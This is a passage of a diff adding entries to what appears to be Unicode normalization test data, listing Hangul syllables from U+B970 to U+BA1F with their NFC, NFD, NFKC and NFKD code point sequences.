+{ source: [0xB970], NFC: [0xB970], NFD: [0x1105, 0x1172, 0x11BF], NFKC: [0xB970], NFKD: [0x1105, 0x1172, 0x11BF] },
+{ source: [0xB971], NFC: [0xB971], NFD: [0x1105, 0x1172, 0x11C0], NFKC: [0xB971], NFKD: [0x1105, 0x1172, 0x11C0] },
+{ source: [0xB972], NFC: [0xB972], NFD: [0x1105, 0x1172, 0x11C1], NFKC: [0xB972], NFKD: [0x1105, 0x1172, 0x11C1] },
+{ source: [0xB973], NFC: [0xB973], NFD: [0x1105, 0x1172, 0x11C2], NFKC: [0xB973], NFKD: [0x1105, 0x1172, 0x11C2] },
+{ source: [0xB974], NFC: [0xB974], NFD: [0x1105, 0x1173], NFKC: [0xB974], NFKD: [0x1105, 0x1173] },
+{ source: [0xB975], NFC: [0xB975], NFD: [0x1105, 0x1173, 0x11A8], NFKC: [0xB975], NFKD: [0x1105, 0x1173, 0x11A8] },
+{ source: [0xB976], NFC: [0xB976], NFD: [0x1105, 0x1173, 0x11A9], NFKC: [0xB976], NFKD: [0x1105, 0x1173, 0x11A9] },
+{ source: [0xB977], NFC: [0xB977], NFD: [0x1105, 0x1173, 0x11AA], NFKC: [0xB977], NFKD: [0x1105, 0x1173, 0x11AA] },
+{ source: [0xB978], NFC: [0xB978], NFD: [0x1105, 0x1173, 0x11AB], NFKC: [0xB978], NFKD: [0x1105, 0x1173, 0x11AB] },
+{ source: [0xB979], NFC: [0xB979], NFD: [0x1105, 0x1173, 0x11AC], NFKC: [0xB979], NFKD: [0x1105, 0x1173, 0x11AC] },
+{ source: [0xB97A], NFC: [0xB97A], NFD: [0x1105, 0x1173, 0x11AD], NFKC: [0xB97A], NFKD: [0x1105, 0x1173, 0x11AD] },
+{ source: [0xB97B], NFC: [0xB97B], NFD: [0x1105, 0x1173, 0x11AE], NFKC: [0xB97B], NFKD: [0x1105, 0x1173, 0x11AE] },
+{ source: [0xB97C], NFC: [0xB97C], NFD: [0x1105, 0x1173, 0x11AF], NFKC: [0xB97C], NFKD: [0x1105, 0x1173, 0x11AF] },
+{ source: [0xB97D], NFC: [0xB97D], NFD: [0x1105, 0x1173, 0x11B0], NFKC: [0xB97D], NFKD: [0x1105, 0x1173, 0x11B0] },
+{ source: [0xB97E], NFC: [0xB97E], NFD: [0x1105, 0x1173, 0x11B1], NFKC: [0xB97E], NFKD: [0x1105, 0x1173, 0x11B1] },
+{ source: [0xB97F], NFC: [0xB97F], NFD: [0x1105, 0x1173, 0x11B2], NFKC: [0xB97F], NFKD: [0x1105, 0x1173, 0x11B2] },
+{ source: [0xB980], NFC: [0xB980], NFD: [0x1105, 0x1173, 0x11B3], NFKC: [0xB980], NFKD: [0x1105, 0x1173, 0x11B3] },
+{ source: [0xB981], NFC: [0xB981], NFD: [0x1105, 0x1173, 0x11B4], NFKC: [0xB981], NFKD: [0x1105, 0x1173, 0x11B4] },
+{ source: [0xB982], NFC: [0xB982], NFD: [0x1105, 0x1173, 0x11B5], NFKC: [0xB982], NFKD: [0x1105, 0x1173, 0x11B5] },
+{ source: [0xB983], NFC: [0xB983], NFD: [0x1105, 0x1173, 0x11B6], NFKC: [0xB983], NFKD: [0x1105, 0x1173, 0x11B6] },
+{ source: [0xB984], NFC: [0xB984], NFD: [0x1105, 0x1173, 0x11B7], NFKC: [0xB984], NFKD: [0x1105, 0x1173, 0x11B7] },
+{ source: [0xB985], NFC: [0xB985], NFD: [0x1105, 0x1173, 0x11B8], NFKC: [0xB985], NFKD: [0x1105, 0x1173, 0x11B8] },
+{ source: [0xB986], NFC: [0xB986], NFD: [0x1105, 0x1173, 0x11B9], NFKC: [0xB986], NFKD: [0x1105, 0x1173, 0x11B9] },
+{ source: [0xB987], NFC: [0xB987], NFD: [0x1105, 0x1173, 0x11BA], NFKC: [0xB987], NFKD: [0x1105, 0x1173, 0x11BA] },
+{ source: [0xB988], NFC: [0xB988], NFD: [0x1105, 0x1173, 0x11BB], NFKC: [0xB988], NFKD: [0x1105, 0x1173, 0x11BB] },
+{ source: [0xB989], NFC: [0xB989], NFD: [0x1105, 0x1173, 0x11BC], NFKC: [0xB989], NFKD: [0x1105, 0x1173, 0x11BC] },
+{ source: [0xB98A], NFC: [0xB98A], NFD: [0x1105, 0x1173, 0x11BD], NFKC: [0xB98A], NFKD: [0x1105, 0x1173, 0x11BD] },
+{ source: [0xB98B], NFC: [0xB98B], NFD: [0x1105, 0x1173, 0x11BE], NFKC: [0xB98B], NFKD: [0x1105, 0x1173, 0x11BE] },
+{ source: [0xB98C], NFC: [0xB98C], NFD: [0x1105, 0x1173, 0x11BF], NFKC: [0xB98C], NFKD: [0x1105, 0x1173, 0x11BF] },
+{ source: [0xB98D], NFC: [0xB98D], NFD: [0x1105, 0x1173, 0x11C0], NFKC: [0xB98D], NFKD: [0x1105, 0x1173, 0x11C0] },
+{ source: [0xB98E], NFC: [0xB98E], NFD: [0x1105, 0x1173, 0x11C1], NFKC: [0xB98E], NFKD: [0x1105, 0x1173, 0x11C1] },
+{ source: [0xB98F], NFC: [0xB98F], NFD: [0x1105, 0x1173, 0x11C2], NFKC: [0xB98F], NFKD: [0x1105, 0x1173, 0x11C2] },
+{ source: [0xB990], NFC: [0xB990], NFD: [0x1105, 0x1174], NFKC: [0xB990], NFKD: [0x1105, 0x1174] },
+{ source: [0xB991], NFC: [0xB991], NFD: [0x1105, 0x1174, 0x11A8], NFKC: [0xB991], NFKD: [0x1105, 0x1174, 0x11A8] },
+{ source: [0xB992], NFC: [0xB992], NFD: [0x1105, 0x1174, 0x11A9], NFKC: [0xB992], NFKD: [0x1105, 0x1174, 0x11A9] },
+{ source: [0xB993], NFC: [0xB993], NFD: [0x1105, 0x1174, 0x11AA], NFKC: [0xB993], NFKD: [0x1105, 0x1174, 0x11AA] },
+{ source: [0xB994], NFC: [0xB994], NFD: [0x1105, 0x1174, 0x11AB], NFKC: [0xB994], NFKD: [0x1105, 0x1174, 0x11AB] },
+{ source: [0xB995], NFC: [0xB995], NFD: [0x1105, 0x1174, 0x11AC], NFKC: [0xB995], NFKD: [0x1105, 0x1174, 0x11AC] },
+{ source: [0xB996], NFC: [0xB996], NFD: [0x1105, 0x1174, 0x11AD], NFKC: [0xB996], NFKD: [0x1105, 0x1174, 0x11AD] },
+{ source: [0xB997], NFC: [0xB997], NFD: [0x1105, 0x1174, 0x11AE], NFKC: [0xB997], NFKD: [0x1105, 0x1174, 0x11AE] },
+{ source: [0xB998], NFC: [0xB998], NFD: [0x1105, 0x1174, 0x11AF], NFKC: [0xB998], NFKD: [0x1105, 0x1174, 0x11AF] },
+{ source: [0xB999], NFC: [0xB999], NFD: [0x1105, 0x1174, 0x11B0], NFKC: [0xB999], NFKD: [0x1105, 0x1174, 0x11B0] },
+{ source: [0xB99A], NFC: [0xB99A], NFD: [0x1105, 0x1174, 0x11B1], NFKC: [0xB99A], NFKD: [0x1105, 0x1174, 0x11B1] },
+{ source: [0xB99B], NFC: [0xB99B], NFD: [0x1105, 0x1174, 0x11B2], NFKC: [0xB99B], NFKD: [0x1105, 0x1174, 0x11B2] },
+{ source: [0xB99C], NFC: [0xB99C], NFD: [0x1105, 0x1174, 0x11B3], NFKC: [0xB99C], NFKD: [0x1105, 0x1174, 0x11B3] },
+{ source: [0xB99D], NFC: [0xB99D], NFD: [0x1105, 0x1174, 0x11B4], NFKC: [0xB99D], NFKD: [0x1105, 0x1174, 0x11B4] },
+{ source: [0xB99E], NFC: [0xB99E], NFD: [0x1105, 0x1174, 0x11B5], NFKC: [0xB99E], NFKD: [0x1105, 0x1174, 0x11B5] },
+{ source: [0xB99F], NFC: [0xB99F], NFD: [0x1105, 0x1174, 0x11B6], NFKC: [0xB99F], NFKD: [0x1105, 0x1174, 0x11B6] },
+{ source: [0xB9A0], NFC: [0xB9A0], NFD: [0x1105, 0x1174, 0x11B7], NFKC: [0xB9A0], NFKD: [0x1105, 0x1174, 0x11B7] },
+{ source: [0xB9A1], NFC: [0xB9A1], NFD: [0x1105, 0x1174, 0x11B8], NFKC: [0xB9A1], NFKD: [0x1105, 0x1174, 0x11B8] },
+{ source: [0xB9A2], NFC: [0xB9A2], NFD: [0x1105, 0x1174, 0x11B9], NFKC: [0xB9A2], NFKD: [0x1105, 0x1174, 0x11B9] },
+{ source: [0xB9A3], NFC: [0xB9A3], NFD: [0x1105, 0x1174, 0x11BA], NFKC: [0xB9A3], NFKD: [0x1105, 0x1174, 0x11BA] },
+{ source: [0xB9A4], NFC: [0xB9A4], NFD: [0x1105, 0x1174, 0x11BB], NFKC: [0xB9A4], NFKD: [0x1105, 0x1174, 0x11BB] },
+{ source: [0xB9A5], NFC: [0xB9A5], NFD: [0x1105, 0x1174, 0x11BC], NFKC: [0xB9A5], NFKD: [0x1105, 0x1174, 0x11BC] },
+{ source: [0xB9A6], NFC: [0xB9A6], NFD: [0x1105, 0x1174, 0x11BD], NFKC: [0xB9A6], NFKD: [0x1105, 0x1174, 0x11BD] },
+{ source: [0xB9A7], NFC: [0xB9A7], NFD: [0x1105, 0x1174, 0x11BE], NFKC: [0xB9A7], NFKD: [0x1105, 0x1174, 0x11BE] },
+{ source: [0xB9A8], NFC: [0xB9A8], NFD: [0x1105, 0x1174, 0x11BF], NFKC: [0xB9A8], NFKD: [0x1105, 0x1174, 0x11BF] },
+{ source: [0xB9A9], NFC: [0xB9A9], NFD: [0x1105, 0x1174, 0x11C0], NFKC: [0xB9A9], NFKD: [0x1105, 0x1174, 0x11C0] },
+{ source: [0xB9AA], NFC: [0xB9AA], NFD: [0x1105, 0x1174, 0x11C1], NFKC: [0xB9AA], NFKD: [0x1105, 0x1174, 0x11C1] },
+{ source: [0xB9AB], NFC: [0xB9AB], NFD: [0x1105, 0x1174, 0x11C2], NFKC: [0xB9AB], NFKD: [0x1105, 0x1174, 0x11C2] },
+{ source: [0xB9AC], NFC: [0xB9AC], NFD: [0x1105, 0x1175], NFKC: [0xB9AC], NFKD: [0x1105, 0x1175] },
+{ source: [0xB9AD], NFC: [0xB9AD], NFD: [0x1105, 0x1175, 0x11A8], NFKC: [0xB9AD], NFKD: [0x1105, 0x1175, 0x11A8] },
+{ source: [0xB9AE], NFC: [0xB9AE], NFD: [0x1105, 0x1175, 0x11A9], NFKC: [0xB9AE], NFKD: [0x1105, 0x1175, 0x11A9] },
+{ source: [0xB9AF], NFC: [0xB9AF], NFD: [0x1105, 0x1175, 0x11AA], NFKC: [0xB9AF], NFKD: [0x1105, 0x1175, 0x11AA] },
+{ source: [0xB9B0], NFC: [0xB9B0], NFD: [0x1105, 0x1175, 0x11AB], NFKC: [0xB9B0], NFKD: [0x1105, 0x1175, 0x11AB] },
+{ source: [0xB9B1], NFC: [0xB9B1], NFD: [0x1105, 0x1175, 0x11AC], NFKC: [0xB9B1], NFKD: [0x1105, 0x1175, 0x11AC] },
+{ source: [0xB9B2], NFC: [0xB9B2], NFD: [0x1105, 0x1175, 0x11AD], NFKC: [0xB9B2], NFKD: [0x1105, 0x1175, 0x11AD] },
+{ source: [0xB9B3], NFC: [0xB9B3], NFD: [0x1105, 0x1175, 0x11AE], NFKC: [0xB9B3], NFKD: [0x1105, 0x1175, 0x11AE] },
+{ source: [0xB9B4], NFC: [0xB9B4], NFD: [0x1105, 0x1175, 0x11AF], NFKC: [0xB9B4], NFKD: [0x1105, 0x1175, 0x11AF] },
+{ source: [0xB9B5], NFC: [0xB9B5], NFD: [0x1105, 0x1175, 0x11B0], NFKC: [0xB9B5], NFKD: [0x1105, 0x1175, 0x11B0] },
+{ source: [0xB9B6], NFC: [0xB9B6], NFD: [0x1105, 0x1175, 0x11B1], NFKC: [0xB9B6], NFKD: [0x1105, 0x1175, 0x11B1] },
+{ source: [0xB9B7], NFC: [0xB9B7], NFD: [0x1105, 0x1175, 0x11B2], NFKC: [0xB9B7], NFKD: [0x1105, 0x1175, 0x11B2] },
+{ source: [0xB9B8], NFC: [0xB9B8], NFD: [0x1105, 0x1175, 0x11B3], NFKC: [0xB9B8], NFKD: [0x1105, 0x1175, 0x11B3] },
+{ source: [0xB9B9], NFC: [0xB9B9], NFD: [0x1105, 0x1175, 0x11B4], NFKC: [0xB9B9], NFKD: [0x1105, 0x1175, 0x11B4] },
+{ source: [0xB9BA], NFC: [0xB9BA], NFD: [0x1105, 0x1175, 0x11B5], NFKC: [0xB9BA], NFKD: [0x1105, 0x1175, 0x11B5] },
+{ source: [0xB9BB], NFC: [0xB9BB], NFD: [0x1105, 0x1175, 0x11B6], NFKC: [0xB9BB], NFKD: [0x1105, 0x1175, 0x11B6] },
+{ source: [0xB9BC], NFC: [0xB9BC], NFD: [0x1105, 0x1175, 0x11B7], NFKC: [0xB9BC], NFKD: [0x1105, 0x1175, 0x11B7] },
+{ source: [0xB9BD], NFC: [0xB9BD], NFD: [0x1105, 0x1175, 0x11B8], NFKC: [0xB9BD], NFKD: [0x1105, 0x1175, 0x11B8] },
+{ source: [0xB9BE], NFC: [0xB9BE], NFD: [0x1105, 0x1175, 0x11B9], NFKC: [0xB9BE], NFKD: [0x1105, 0x1175, 0x11B9] },
+{ source: [0xB9BF], NFC: [0xB9BF], NFD: [0x1105, 0x1175, 0x11BA], NFKC: [0xB9BF], NFKD: [0x1105, 0x1175, 0x11BA] },
+{ source: [0xB9C0], NFC: [0xB9C0], NFD: [0x1105, 0x1175, 0x11BB], NFKC: [0xB9C0], NFKD: [0x1105, 0x1175, 0x11BB] },
+{ source: [0xB9C1], NFC: [0xB9C1], NFD: [0x1105, 0x1175, 0x11BC], NFKC: [0xB9C1], NFKD: [0x1105, 0x1175, 0x11BC] },
+{ source: [0xB9C2], NFC: [0xB9C2], NFD: [0x1105, 0x1175, 0x11BD], NFKC: [0xB9C2], NFKD: [0x1105, 0x1175, 0x11BD] },
+{ source: [0xB9C3], NFC: [0xB9C3], NFD: [0x1105, 0x1175, 0x11BE], NFKC: [0xB9C3], NFKD: [0x1105, 0x1175, 0x11BE] },
+{ source: [0xB9C4], NFC: [0xB9C4], NFD: [0x1105, 0x1175, 0x11BF], NFKC: [0xB9C4], NFKD: [0x1105, 0x1175, 0x11BF] },
+{ source: [0xB9C5], NFC: [0xB9C5], NFD: [0x1105, 0x1175, 0x11C0], NFKC: [0xB9C5], NFKD: [0x1105, 0x1175, 0x11C0] },
+{ source: [0xB9C6], NFC: [0xB9C6], NFD: [0x1105, 0x1175, 0x11C1], NFKC: [0xB9C6], NFKD: [0x1105, 0x1175, 0x11C1] },
+{ source: [0xB9C7], NFC: [0xB9C7], NFD: [0x1105, 0x1175, 0x11C2], NFKC: [0xB9C7], NFKD: [0x1105, 0x1175, 0x11C2] },
+{ source: [0xB9C8], NFC: [0xB9C8], NFD: [0x1106, 0x1161], NFKC: [0xB9C8], NFKD: [0x1106, 0x1161] },
+{ source: [0xB9C9], NFC: [0xB9C9], NFD: [0x1106, 0x1161, 0x11A8], NFKC: [0xB9C9], NFKD: [0x1106, 0x1161, 0x11A8] },
+{ source: [0xB9CA], NFC: [0xB9CA], NFD: [0x1106, 0x1161, 0x11A9], NFKC: [0xB9CA], NFKD: [0x1106, 0x1161, 0x11A9] },
+{ source: [0xB9CB], NFC: [0xB9CB], NFD: [0x1106, 0x1161, 0x11AA], NFKC: [0xB9CB], NFKD: [0x1106, 0x1161, 0x11AA] },
+{ source: [0xB9CC], NFC: [0xB9CC], NFD: [0x1106, 0x1161, 0x11AB], NFKC: [0xB9CC], NFKD: [0x1106, 0x1161, 0x11AB] },
+{ source: [0xB9CD], NFC: [0xB9CD], NFD: [0x1106, 0x1161, 0x11AC], NFKC: [0xB9CD], NFKD: [0x1106, 0x1161, 0x11AC] },
+{ source: [0xB9CE], NFC: [0xB9CE], NFD: [0x1106, 0x1161, 0x11AD], NFKC: [0xB9CE], NFKD: [0x1106, 0x1161, 0x11AD] },
+{ source: [0xB9CF], NFC: [0xB9CF], NFD: [0x1106, 0x1161, 0x11AE], NFKC: [0xB9CF], NFKD: [0x1106, 0x1161, 0x11AE] },
+{ source: [0xB9D0], NFC: [0xB9D0], NFD: [0x1106, 0x1161, 0x11AF], NFKC: [0xB9D0], NFKD: [0x1106, 0x1161, 0x11AF] },
+{ source: [0xB9D1], NFC: [0xB9D1], NFD: [0x1106, 0x1161, 0x11B0], NFKC: [0xB9D1], NFKD: [0x1106, 0x1161, 0x11B0] },
+{ source: [0xB9D2], NFC: [0xB9D2], NFD: [0x1106, 0x1161, 0x11B1], NFKC: [0xB9D2], NFKD: [0x1106, 0x1161, 0x11B1] },
+{ source: [0xB9D3], NFC: [0xB9D3], NFD: [0x1106, 0x1161, 0x11B2], NFKC: [0xB9D3], NFKD: [0x1106, 0x1161, 0x11B2] },
+{ source: [0xB9D4], NFC: [0xB9D4], NFD: [0x1106, 0x1161, 0x11B3], NFKC: [0xB9D4], NFKD: [0x1106, 0x1161, 0x11B3] },
+{ source: [0xB9D5], NFC: [0xB9D5], NFD: [0x1106, 0x1161, 0x11B4], NFKC: [0xB9D5], NFKD: [0x1106, 0x1161, 0x11B4] },
+{ source: [0xB9D6], NFC: [0xB9D6], NFD: [0x1106, 0x1161, 0x11B5], NFKC: [0xB9D6], NFKD: [0x1106, 0x1161, 0x11B5] },
+{ source: [0xB9D7], NFC: [0xB9D7], NFD: [0x1106, 0x1161, 0x11B6], NFKC: [0xB9D7], NFKD: [0x1106, 0x1161, 0x11B6] },
+{ source: [0xB9D8], NFC: [0xB9D8], NFD: [0x1106, 0x1161, 0x11B7], NFKC: [0xB9D8], NFKD: [0x1106, 0x1161, 0x11B7] },
+{ source: [0xB9D9], NFC: [0xB9D9], NFD: [0x1106, 0x1161, 0x11B8], NFKC: [0xB9D9], NFKD: [0x1106, 0x1161, 0x11B8] },
+{ source: [0xB9DA], NFC: [0xB9DA], NFD: [0x1106, 0x1161, 0x11B9], NFKC: [0xB9DA], NFKD: [0x1106, 0x1161, 0x11B9] },
+{ source: [0xB9DB], NFC: [0xB9DB], NFD: [0x1106, 0x1161, 0x11BA], NFKC: [0xB9DB], NFKD: [0x1106, 0x1161, 0x11BA] },
+{ source: [0xB9DC], NFC: [0xB9DC], NFD: [0x1106, 0x1161, 0x11BB], NFKC: [0xB9DC], NFKD: [0x1106, 0x1161, 0x11BB] },
+{ source: [0xB9DD], NFC: [0xB9DD], NFD: [0x1106, 0x1161, 0x11BC], NFKC: [0xB9DD], NFKD: [0x1106, 0x1161, 0x11BC] },
+{ source: [0xB9DE], NFC: [0xB9DE], NFD: [0x1106, 0x1161, 0x11BD], NFKC: [0xB9DE], NFKD: [0x1106, 0x1161, 0x11BD] },
+{ source: [0xB9DF], NFC: [0xB9DF], NFD: [0x1106, 0x1161, 0x11BE], NFKC: [0xB9DF], NFKD: [0x1106, 0x1161, 0x11BE] },
+{ source: [0xB9E0], NFC: [0xB9E0], NFD: [0x1106, 0x1161, 0x11BF], NFKC: [0xB9E0], NFKD: [0x1106, 0x1161, 0x11BF] },
+{ source: [0xB9E1], NFC: [0xB9E1], NFD: [0x1106, 0x1161, 0x11C0], NFKC: [0xB9E1], NFKD: [0x1106, 0x1161, 0x11C0] },
+{ source: [0xB9E2], NFC: [0xB9E2], NFD: [0x1106, 0x1161, 0x11C1], NFKC: [0xB9E2], NFKD: [0x1106, 0x1161, 0x11C1] },
+{ source: [0xB9E3], NFC: [0xB9E3], NFD: [0x1106, 0x1161, 0x11C2], NFKC: [0xB9E3], NFKD: [0x1106, 0x1161, 0x11C2] },
+{ source: [0xB9E4], NFC: [0xB9E4], NFD: [0x1106, 0x1162], NFKC: [0xB9E4], NFKD: [0x1106, 0x1162] },
+{ source: [0xB9E5], NFC: [0xB9E5], NFD: [0x1106, 0x1162, 0x11A8], NFKC: [0xB9E5], NFKD: [0x1106, 0x1162, 0x11A8] },
+{ source: [0xB9E6], NFC: [0xB9E6], NFD: [0x1106, 0x1162, 0x11A9], NFKC: [0xB9E6], NFKD: [0x1106, 0x1162, 0x11A9] },
+{ source: [0xB9E7], NFC: [0xB9E7], NFD: [0x1106, 0x1162, 0x11AA], NFKC: [0xB9E7], NFKD: [0x1106, 0x1162, 0x11AA] },
+{ source: [0xB9E8], NFC: [0xB9E8], NFD: [0x1106, 0x1162, 0x11AB], NFKC: [0xB9E8], NFKD: [0x1106, 0x1162, 0x11AB] },
+{ source: [0xB9E9], NFC: [0xB9E9], NFD: [0x1106, 0x1162, 0x11AC], NFKC: [0xB9E9], NFKD: [0x1106, 0x1162, 0x11AC] },
+{ source: [0xB9EA], NFC: [0xB9EA], NFD: [0x1106, 0x1162, 0x11AD], NFKC: [0xB9EA], NFKD: [0x1106, 0x1162, 0x11AD] },
+{ source: [0xB9EB], NFC: [0xB9EB], NFD: [0x1106, 0x1162, 0x11AE], NFKC: [0xB9EB], NFKD: [0x1106, 0x1162, 0x11AE] },
+{ source: [0xB9EC], NFC: [0xB9EC], NFD: [0x1106, 0x1162, 0x11AF], NFKC: [0xB9EC], NFKD: [0x1106, 0x1162, 0x11AF] },
+{ source: [0xB9ED], NFC: [0xB9ED], NFD: [0x1106, 0x1162, 0x11B0], NFKC: [0xB9ED], NFKD: [0x1106, 0x1162, 0x11B0] },
+{ source: [0xB9EE], NFC: [0xB9EE], NFD: [0x1106, 0x1162, 0x11B1], NFKC: [0xB9EE], NFKD: [0x1106, 0x1162, 0x11B1] },
+{ source: [0xB9EF], NFC: [0xB9EF], NFD: [0x1106, 0x1162, 0x11B2], NFKC: [0xB9EF], NFKD: [0x1106, 0x1162, 0x11B2] },
+{ source: [0xB9F0], NFC: [0xB9F0], NFD: [0x1106, 0x1162, 0x11B3], NFKC: [0xB9F0], NFKD: [0x1106, 0x1162, 0x11B3] },
+{ source: [0xB9F1], NFC: [0xB9F1], NFD: [0x1106, 0x1162, 0x11B4], NFKC: [0xB9F1], NFKD: [0x1106, 0x1162, 0x11B4] },
+{ source: [0xB9F2], NFC: [0xB9F2], NFD: [0x1106, 0x1162, 0x11B5], NFKC: [0xB9F2], NFKD: [0x1106, 0x1162, 0x11B5] },
+{ source: [0xB9F3], NFC: [0xB9F3], NFD: [0x1106, 0x1162, 0x11B6], NFKC: [0xB9F3], NFKD: [0x1106, 0x1162, 0x11B6] },
+{ source: [0xB9F4], NFC: [0xB9F4], NFD: [0x1106, 0x1162, 0x11B7], NFKC: [0xB9F4], NFKD: [0x1106, 0x1162, 0x11B7] },
+{ source: [0xB9F5], NFC: [0xB9F5], NFD: [0x1106, 0x1162, 0x11B8], NFKC: [0xB9F5], NFKD: [0x1106, 0x1162, 0x11B8] },
+{ source: [0xB9F6], NFC: [0xB9F6], NFD: [0x1106, 0x1162, 0x11B9], NFKC: [0xB9F6], NFKD: [0x1106, 0x1162, 0x11B9] },
+{ source: [0xB9F7], NFC: [0xB9F7], NFD: [0x1106, 0x1162, 0x11BA], NFKC: [0xB9F7], NFKD: [0x1106, 0x1162, 0x11BA] },
+{ source: [0xB9F8], NFC: [0xB9F8], NFD: [0x1106, 0x1162, 0x11BB], NFKC: [0xB9F8], NFKD: [0x1106, 0x1162, 0x11BB] },
+{ source: [0xB9F9], NFC: [0xB9F9], NFD: [0x1106, 0x1162, 0x11BC], NFKC: [0xB9F9], NFKD: [0x1106, 0x1162, 0x11BC] },
+{ source: [0xB9FA], NFC: [0xB9FA], NFD: [0x1106, 0x1162, 0x11BD], NFKC: [0xB9FA], NFKD: [0x1106, 0x1162, 0x11BD] },
+{ source: [0xB9FB], NFC: [0xB9FB], NFD: [0x1106, 0x1162, 0x11BE], NFKC: [0xB9FB], NFKD: [0x1106, 0x1162, 0x11BE] },
+{ source: [0xB9FC], NFC: [0xB9FC], NFD: [0x1106, 0x1162, 0x11BF], NFKC: [0xB9FC], NFKD: [0x1106, 0x1162, 0x11BF] },
+{ source: [0xB9FD], NFC: [0xB9FD], NFD: [0x1106, 0x1162, 0x11C0], NFKC: [0xB9FD], NFKD: [0x1106, 0x1162, 0x11C0] },
+{ source: [0xB9FE], NFC: [0xB9FE], NFD: [0x1106, 0x1162, 0x11C1], NFKC: [0xB9FE], NFKD: [0x1106, 0x1162, 0x11C1] },
+{ source: [0xB9FF], NFC: [0xB9FF], NFD: [0x1106, 0x1162, 0x11C2], NFKC: [0xB9FF], NFKD: [0x1106, 0x1162, 0x11C2] },
+{ source: [0xBA00], NFC: [0xBA00], NFD: [0x1106, 0x1163], NFKC: [0xBA00], NFKD: [0x1106, 0x1163] },
+{ source: [0xBA01], NFC: [0xBA01], NFD: [0x1106, 0x1163, 0x11A8], NFKC: [0xBA01], NFKD: [0x1106, 0x1163, 0x11A8] },
+{ source: [0xBA02], NFC: [0xBA02], NFD: [0x1106, 0x1163, 0x11A9], NFKC: [0xBA02], NFKD: [0x1106, 0x1163, 0x11A9] },
+{ source: [0xBA03], NFC: [0xBA03], NFD: [0x1106, 0x1163, 0x11AA], NFKC: [0xBA03], NFKD: [0x1106, 0x1163, 0x11AA] },
+{ source: [0xBA04], NFC: [0xBA04], NFD: [0x1106, 0x1163, 0x11AB], NFKC: [0xBA04], NFKD: [0x1106, 0x1163, 0x11AB] },
+{ source: [0xBA05], NFC: [0xBA05], NFD: [0x1106, 0x1163, 0x11AC], NFKC: [0xBA05], NFKD: [0x1106, 0x1163, 0x11AC] },
+{ source: [0xBA06], NFC: [0xBA06], NFD: [0x1106, 0x1163, 0x11AD], NFKC: [0xBA06], NFKD: [0x1106, 0x1163, 0x11AD] },
+{ source: [0xBA07], NFC: [0xBA07], NFD: [0x1106, 0x1163, 0x11AE], NFKC: [0xBA07], NFKD: [0x1106, 0x1163, 0x11AE] },
+{ source: [0xBA08], NFC: [0xBA08], NFD: [0x1106, 0x1163, 0x11AF], NFKC: [0xBA08], NFKD: [0x1106, 0x1163, 0x11AF] },
+{ source: [0xBA09], NFC: [0xBA09], NFD: [0x1106, 0x1163, 0x11B0], NFKC: [0xBA09], NFKD: [0x1106, 0x1163, 0x11B0] },
+{ source: [0xBA0A], NFC: [0xBA0A], NFD: [0x1106, 0x1163, 0x11B1], NFKC: [0xBA0A], NFKD: [0x1106, 0x1163, 0x11B1] },
+{ source: [0xBA0B], NFC: [0xBA0B], NFD: [0x1106, 0x1163, 0x11B2], NFKC: [0xBA0B], NFKD: [0x1106, 0x1163, 0x11B2] },
+{ source: [0xBA0C], NFC: [0xBA0C], NFD: [0x1106, 0x1163, 0x11B3], NFKC: [0xBA0C], NFKD: [0x1106, 0x1163, 0x11B3] },
+{ source: [0xBA0D], NFC: [0xBA0D], NFD: [0x1106, 0x1163, 0x11B4], NFKC: [0xBA0D], NFKD: [0x1106, 0x1163, 0x11B4] },
+{ source: [0xBA0E], NFC: [0xBA0E], NFD: [0x1106, 0x1163, 0x11B5], NFKC: [0xBA0E], NFKD: [0x1106, 0x1163, 0x11B5] },
+{ source: [0xBA0F], NFC: [0xBA0F], NFD: [0x1106, 0x1163, 0x11B6], NFKC: [0xBA0F], NFKD: [0x1106, 0x1163, 0x11B6] },
+{ source: [0xBA10], NFC: [0xBA10], NFD: [0x1106, 0x1163, 0x11B7], NFKC: [0xBA10], NFKD: [0x1106, 0x1163, 0x11B7] },
+{ source: [0xBA11], NFC: [0xBA11], NFD: [0x1106, 0x1163, 0x11B8], NFKC: [0xBA11], NFKD: [0x1106, 0x1163, 0x11B8] },
+{ source: [0xBA12], NFC: [0xBA12], NFD: [0x1106, 0x1163, 0x11B9], NFKC: [0xBA12], NFKD: [0x1106, 0x1163, 0x11B9] },
+{ source: [0xBA13], NFC: [0xBA13], NFD: [0x1106, 0x1163, 0x11BA], NFKC: [0xBA13], NFKD: [0x1106, 0x1163, 0x11BA] },
+{ source: [0xBA14], NFC: [0xBA14], NFD: [0x1106, 0x1163, 0x11BB], NFKC: [0xBA14], NFKD: [0x1106, 0x1163, 0x11BB] },
+{ source: [0xBA15], NFC: [0xBA15], NFD: [0x1106, 0x1163, 0x11BC], NFKC: [0xBA15], NFKD: [0x1106, 0x1163, 0x11BC] },
+{ source: [0xBA16], NFC: [0xBA16], NFD: [0x1106, 0x1163, 0x11BD], NFKC: [0xBA16], NFKD: [0x1106, 0x1163, 0x11BD] },
+{ source: [0xBA17], NFC: [0xBA17], NFD: [0x1106, 0x1163, 0x11BE], NFKC: [0xBA17], NFKD: [0x1106, 0x1163, 0x11BE] },
+{ source: [0xBA18], NFC: [0xBA18], NFD: [0x1106, 0x1163, 0x11BF], NFKC: [0xBA18], NFKD: [0x1106, 0x1163, 0x11BF] },
+{ source: [0xBA19], NFC: [0xBA19], NFD: [0x1106, 0x1163, 0x11C0], NFKC: [0xBA19], NFKD: [0x1106, 0x1163, 0x11C0] },
+{ source: [0xBA1A], NFC: [0xBA1A], NFD: [0x1106, 0x1163, 0x11C1], NFKC: [0xBA1A], NFKD: [0x1106, 0x1163, 0x11C1] },
+{ source: [0xBA1B], NFC: [0xBA1B], NFD: [0x1106, 0x1163, 0x11C2], NFKC: [0xBA1B], NFKD: [0x1106, 0x1163, 0x11C2] },
+{ source: [0xBA1C], NFC: [0xBA1C], NFD: [0x1106, 0x1164], NFKC: [0xBA1C], NFKD: [0x1106, 0x1164] },
+{ source: [0xBA1D], NFC: [0xBA1D], NFD: [0x1106, 0x1164, 0x11A8], NFKC: [0xBA1D], NFKD: [0x1106, 0x1164, 0x11A8] },
+{ source: [0xBA1E], NFC: [0xBA1E], NFD: [0x1106, 0x1164, 0x11A9], NFKC: [0xBA1E], NFKD: [0x1106, 0x1164, 0x11A9] },
+{ source: [0xBA1F], NFC: [0xBA1F], NFD: [0x1106, 0x1164, 0x11AA], NFKC: [0xBA1F], NFKD: [0x1106, 0x1164, 0x11AA] },
